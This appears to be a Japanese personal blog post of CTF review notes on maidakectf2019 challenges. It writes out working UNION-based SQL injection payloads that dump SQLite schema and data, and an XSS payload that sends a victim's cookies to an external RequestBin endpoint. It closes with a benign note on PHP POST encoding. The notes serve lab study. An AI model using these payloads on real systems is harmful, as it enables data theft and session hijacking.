セキュリティ系の勉強、その他開発メモとか雑談. GithubはUnity触っていた頃ものがメイン Twitterフォローもよろしくです

復習回 maidakectf2019

この記事は

自分用です。。


参考

st98.github.io

qiita.com

qiita.com

Kancolle Engine (SQLi)

LIKE句にユーザ入力が入る問題でした。(問題ではsqlite3使用とのこと。) ワイルドカードとして、%が0文字以上の任意の文字列、_が任意の1文字を表すので、%をフォームに投げるとたくさんレコードが表示されるので気づけるとのこと。

$ ' and 0 union select 1,2,3,4,5,6,7,8,9,10,11;# ->で動くか確認。(カラム数はヒントとしてソースから推測できた)
$ ' and 0 union select sql,2,3,4,5,6,7,8,9,10,11 from sqlite_master;# ->sqlite_masterテーブルからsqlカラムを抜くことで、作られているテーブル名とカラム名が取得できる。ここから、flagテーブルにthis_is_flagカラムが存在することがわかる。
$ ' and 0 union select this_is_flag,2,3,4,5,6,7,8,9,10,11 from flag;#



Haiku contest

投稿内容を管理側で見てくれる(採点という名目)感じなサイト。Requestbinを送り先にしてリクエストを飛ばさせればokだったけれど、なんか上手くいかなかった。

<script>(new Image).src='http://requestbinのドメイン/先/?'+document.cookie</script>

上を投げれば、クッキーが抜けてそれがそのままフラグになる。

phpで書かれたフォームへのPOST

何気なく手間取ってしまった。$_POSTはContent-type: application/x-www-form-urlencodedmultipart/form-dataの形式で受け取るとのこと。なので、json形式で書いてもちゃんと受け取ってくれないです。

なので、x-www-form-urlencodedではa=1&b=1のようなクエリパラメータの形式で投げてあげましょう。